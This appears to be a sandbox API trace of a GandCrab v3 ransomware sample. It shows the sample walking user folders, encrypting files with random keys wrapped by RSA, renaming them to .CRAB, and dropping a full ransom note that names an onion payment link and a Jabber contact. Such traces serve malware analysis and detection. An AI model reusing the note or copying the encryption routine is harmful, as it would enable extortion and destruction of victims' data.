	[0124.410] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6e408) returned 1
	[0124.410] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2c0000
	[0124.411] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0124.411] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0124.411] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x314c948 | out: pbBuffer=0x314c948) returned 1
	[0124.411] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0124.411] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.411] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2c0000
	[0124.412] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0124.412] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6eb78) returned 1
	[0124.412] CryptImportKey (in: hProv=0xd6eb78, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0x3166620) returned 1
	[0124.412] CryptGetKeyParam (in: hKey=0x3166620, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0124.413] CryptEncrypt (in: hKey=0x3166620, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2c0000*, pdwDataLen=0x314c97c*=0xc8, dwBufLen=0x800 | out: pbData=0x2c0000*, pdwDataLen=0x314c97c*=0x100) returned 1
	[0124.413] GetLastError () returned 0x0
	[0124.413] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0124.413] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6e9e0) returned 1
	[0124.414] CryptImportKey (in: hProv=0xd6e9e0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0x31667e0) returned 1
	[0124.414] CryptGetKeyParam (in: hKey=0x31667e0, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0124.414] CryptEncrypt (in: hKey=0x31667e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314c980*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314c980*=0x100) returned 1
	[0124.414] GetLastError () returned 0x0
	[0124.414] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0124.414] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\YXyDVl5tVJHYH.docx.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\yxydvl5tvjhyh.docx.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ec
	[0124.415] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0124.415] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0124.415] ReadFile (in: hFile=0x3ec, lpBuffer=0x2f0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314c9c4, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesRead=0x314c9c4*=0x3a56, lpOverlapped=0x0) returned 1
	[0124.428] VirtualAlloc (lpAddress=0x0, dwSize=0x3a60, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0124.428] VirtualAlloc (lpAddress=0x0, dwSize=0x3a60, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0124.429] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.429] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0xffffc5aa, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0124.430] WriteFile (in: hFile=0x3ec, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x3a60, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x314c9b4*=0x3a60, lpOverlapped=0x0) returned 1
	[0124.430] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.430] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.434] WriteFile (in: hFile=0x3ec, lpBuffer=0x2c0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2c0000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0124.434] WriteFile (in: hFile=0x3ec, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0124.434] WriteFile (in: hFile=0x3ec, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314c9b4*=0x8, lpOverlapped=0x0) returned 1
	[0124.434] CloseHandle (hObject=0x3ec) returned 1
	[0124.434] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.435] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.435] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.435] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.435] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.436] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.436] FindNextFileW (in: hFindFile=0xd805a0, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 0
	[0124.436] FindClose (in: hFindFile=0xd805a0 | out: hFindFile=0xd805a0) returned 1
	[0124.436] FindNextFileW (in: hFindFile=0xd80120, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 0
	[0124.436] FindClose (in: hFindFile=0xd80120 | out: hFindFile=0xd80120) returned 1
	[0124.436] FindNextFileW (in: hFindFile=0xd80560, lpFindFileData=0x314e760 | out: lpFindFileData=0x314e760) returned 1
	[0124.436] lstrcmpW (lpString1="Application Data", lpString2=".") returned 1
	[0124.436] lstrcmpW (lpString1="Application Data", lpString2="..") returned 1
	[0124.436] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Application Data" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Application Data") returned="C:\\Users\\CIiHmnxMn6Ps\\Application Data"
	[0124.436] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Application Data", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Application Data\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Application Data\\"
	[0124.436] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0124.437] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0124.437] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0124.437] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0124.437] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0124.437] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.437] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314d4b8, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0124.437] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0124.437] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\Application Data\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned -1
	[0124.437] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314cca0, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0124.437] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0124.437] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\Application Data\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0124.438] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0124.438] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Application Data\\\\CRAB-DECRYPT.txt") returned 56
	[0124.438] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Application Data\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\application data\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0124.439] GetLastError () returned 0x50
	[0124.439] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.439] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Application Data\\") returned 39
	[0124.439] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Application Data\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Application Data\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\Application Data\\*"
	[0124.439] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Application Data\\*", lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 0xffffffff
	[0124.439] FindNextFileW (in: hFindFile=0xd80560, lpFindFileData=0x314e760 | out: lpFindFileData=0x314e760) returned 1
	[0124.439] lstrcmpW (lpString1="Contacts", lpString2=".") returned 1
	[0124.439] lstrcmpW (lpString1="Contacts", lpString2="..") returned 1
	[0124.439] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Contacts" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Contacts") returned="C:\\Users\\CIiHmnxMn6Ps\\Contacts"
	[0124.439] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Contacts", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\"
	[0124.439] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0124.440] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0124.440] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0124.440] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0124.440] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0124.440] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.440] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314d4b8, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0124.440] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0124.440] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned -1
	[0124.440] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314cca0, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0124.440] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0124.440] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0124.440] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0124.441] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\\\CRAB-DECRYPT.txt") returned 48
	[0124.441] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\contacts\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d4
	[0124.442] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0124.442] WriteFile (in: hFile=0x3d4, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314d49c, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314d49c*=0xcce, lpOverlapped=0x0) returned 1
	[0124.442] CloseHandle (hObject=0x3d4) returned 1
	[0124.443] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.443] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\") returned 31
	[0124.443] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\*"
	[0124.443] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\*", lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 0x3166660
	[0124.443] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0124.443] FindNextFileW (in: hFindFile=0x3166660, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0124.443] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0124.443] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0124.443] FindNextFileW (in: hFindFile=0x3166660, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0124.443] lstrcmpW (lpString1="Aclviho ASldjfl.contact", lpString2=".") returned 1
	[0124.443] lstrcmpW (lpString1="Aclviho ASldjfl.contact", lpString2="..") returned 1
	[0124.444] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\", lpString2="Aclviho ASldjfl.contact" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\Aclviho ASldjfl.contact") returned="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\Aclviho ASldjfl.contact"
	[0124.444] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0124.444] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\Aclviho ASldjfl.contact") returned 54
	[0124.444] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\Aclviho ASldjfl.contact") returned 54
	[0124.444] lstrlenW (lpString=".contact") returned 8
	[0124.444] VirtualAlloc (lpAddress=0x0, dwSize=0x14, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0124.444] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".contact ") returned 9
	[0124.444] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.445] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\Aclviho ASldjfl.contact") returned 54
	[0124.445] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\Aclviho ASldjfl.contact") returned 54
	[0124.445] lstrcmpiW (lpString1="Aclviho ASldjfl.contact", lpString2="desktop.ini") returned -1
	[0124.445] lstrcmpiW (lpString1="Aclviho ASldjfl.contact", lpString2="autorun.inf") returned -1
	[0124.445] lstrcmpiW (lpString1="Aclviho ASldjfl.contact", lpString2="ntuser.dat") returned -1
	[0124.445] lstrcmpiW (lpString1="Aclviho ASldjfl.contact", lpString2="iconcache.db") returned -1
	[0124.445] lstrcmpiW (lpString1="Aclviho ASldjfl.contact", lpString2="bootsect.bak") returned -1
	[0124.445] lstrcmpiW (lpString1="Aclviho ASldjfl.contact", lpString2="boot.ini") returned -1
	[0124.445] lstrcmpiW (lpString1="Aclviho ASldjfl.contact", lpString2="ntuser.dat.log") returned -1
	[0124.445] lstrcmpiW (lpString1="Aclviho ASldjfl.contact", lpString2="thumbs.db") returned -1
	[0124.445] lstrcmpiW (lpString1="Aclviho ASldjfl.contact", lpString2="CRAB-DECRYPT.txt") returned -1
	[0124.445] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0124.445] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\Aclviho ASldjfl.contact.CRAB") returned 59
	[0124.446] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\Aclviho ASldjfl.contact" (normalized: "c:\\users\\ciihmnxmn6ps\\contacts\\aclviho asldjfl.contact")) returned 0x20
	[0124.446] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\Aclviho ASldjfl.contact", dwFileAttributes=0x20) returned 1
	[0124.446] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\Aclviho ASldjfl.contact" (normalized: "c:\\users\\ciihmnxmn6ps\\contacts\\aclviho asldjfl.contact"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\Aclviho ASldjfl.contact.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\contacts\\aclviho asldjfl.contact.crab")) returned 1
	[0124.447] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0124.447] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\Aclviho ASldjfl.contact.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\Aclviho ASldjfl.contact.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\Aclviho ASldjfl.contact.CRAB"
	[0124.448] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\Aclviho ASldjfl.contact.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\Aclviho ASldjfl.contact.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\Aclviho ASldjfl.contact.CRAB.CRAB"
	[0124.448] CryptAcquireContextW (in: phProv=0x314d2d8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2d8*=0xd6e5a0) returned 1
	[0124.448] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2c0000
	[0124.449] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0124.449] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0124.449] CryptGenRandom (in: hProv=0xd6e5a0, dwLen=0x10, pbBuffer=0x314d414 | out: pbBuffer=0x314d414) returned 1
	[0124.449] CryptReleaseContext (hProv=0xd6e5a0, dwFlags=0x0) returned 1
	[0124.449] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.449] CryptAcquireContextW (in: phProv=0x314d2d8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2d8*=0xd6e408) returned 1
	[0124.450] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2c0000
	[0124.450] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0124.450] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0124.450] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x314d3f0 | out: pbBuffer=0x314d3f0) returned 1
	[0124.450] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0124.450] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.451] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2c0000
	[0124.451] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0124.451] CryptAcquireContextW (in: phProv=0x314d2c8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2c8*=0xd6ed98) returned 1
	[0124.452] CryptImportKey (in: hProv=0xd6ed98, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314d2c4 | out: phKey=0x314d2c4*=0x31661a0) returned 1
	[0124.452] CryptGetKeyParam (in: hKey=0x31661a0, dwParam=0x8, pbData=0x314d2b4, pdwDataLen=0x314d2bc, dwFlags=0x0 | out: pbData=0x314d2b4*=0x800, pdwDataLen=0x314d2bc*=0x4) returned 1
	[0124.452] CryptEncrypt (in: hKey=0x31661a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2c0000*, pdwDataLen=0x314d424*=0xc8, dwBufLen=0x800 | out: pbData=0x2c0000*, pdwDataLen=0x314d424*=0x100) returned 1
	[0124.452] GetLastError () returned 0x0
	[0124.452] CryptReleaseContext (hProv=0xd6ed98, dwFlags=0x0) returned 1
	[0124.452] CryptAcquireContextW (in: phProv=0x314d2c8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2c8*=0xd6e6b0) returned 1
	[0124.456] CryptImportKey (in: hProv=0xd6e6b0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314d2c4 | out: phKey=0x314d2c4*=0x31666a0) returned 1
	[0124.456] CryptGetKeyParam (in: hKey=0x31666a0, dwParam=0x8, pbData=0x314d2b4, pdwDataLen=0x314d2bc, dwFlags=0x0 | out: pbData=0x314d2b4*=0x800, pdwDataLen=0x314d2bc*=0x4) returned 1
	[0124.456] CryptEncrypt (in: hKey=0x31666a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314d428*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314d428*=0x100) returned 1
	[0124.456] GetLastError () returned 0x0
	[0124.456] CryptReleaseContext (hProv=0xd6e6b0, dwFlags=0x0) returned 1
	[0124.456] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\Aclviho ASldjfl.contact.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\contacts\\aclviho asldjfl.contact.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e8
	[0124.457] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0124.457] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0124.458] ReadFile (in: hFile=0x3e8, lpBuffer=0x2f0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314d46c, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesRead=0x314d46c*=0x49a, lpOverlapped=0x0) returned 1
	[0124.476] VirtualAlloc (lpAddress=0x0, dwSize=0x4a0, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0124.477] VirtualAlloc (lpAddress=0x0, dwSize=0x4a0, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0124.477] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.477] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0xfffffb66, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0124.478] WriteFile (in: hFile=0x3e8, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x4a0, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x314d45c*=0x4a0, lpOverlapped=0x0) returned 1
	[0124.478] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.478] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.482] WriteFile (in: hFile=0x3e8, lpBuffer=0x2c0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2c0000*, lpNumberOfBytesWritten=0x314d45c*=0x100, lpOverlapped=0x0) returned 1
	[0124.482] WriteFile (in: hFile=0x3e8, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314d45c*=0x100, lpOverlapped=0x0) returned 1
